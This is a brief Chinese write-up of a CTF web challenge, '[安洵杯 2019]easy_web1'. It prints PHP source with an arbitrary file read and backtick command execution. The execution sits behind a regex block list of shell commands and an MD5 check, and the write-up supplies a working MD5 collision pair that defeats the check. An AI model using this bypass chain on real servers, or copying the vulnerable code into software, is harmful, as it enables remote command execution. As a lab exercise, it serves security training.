[安洵杯 2019]easy_web1
打开题目，看到提示
查看url发现img后面为base64密文，解码，两次解码得到
3535352e706e67
查看源码，看到base64加密信息，逆转码并传入，查看源码
、将源代码解密，得到源代码，开始代码审计
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {echo '<img src ="./ctf3.jpeg">';die("xixiï½ no flag");
} else {$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64," . $txt . "'></img>";echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");}
}?>
根据源代码，该页面会通过GET方式获取一个cmd参数，
然后是一个正则匹配的黑名单，如果传入的cmd的值被匹配到的话就会输出forbid。
绕过过滤后，还得通过POST传入两个md5值相等但本身不等的字符串才能执行命令。
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 &b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
写入得到flag
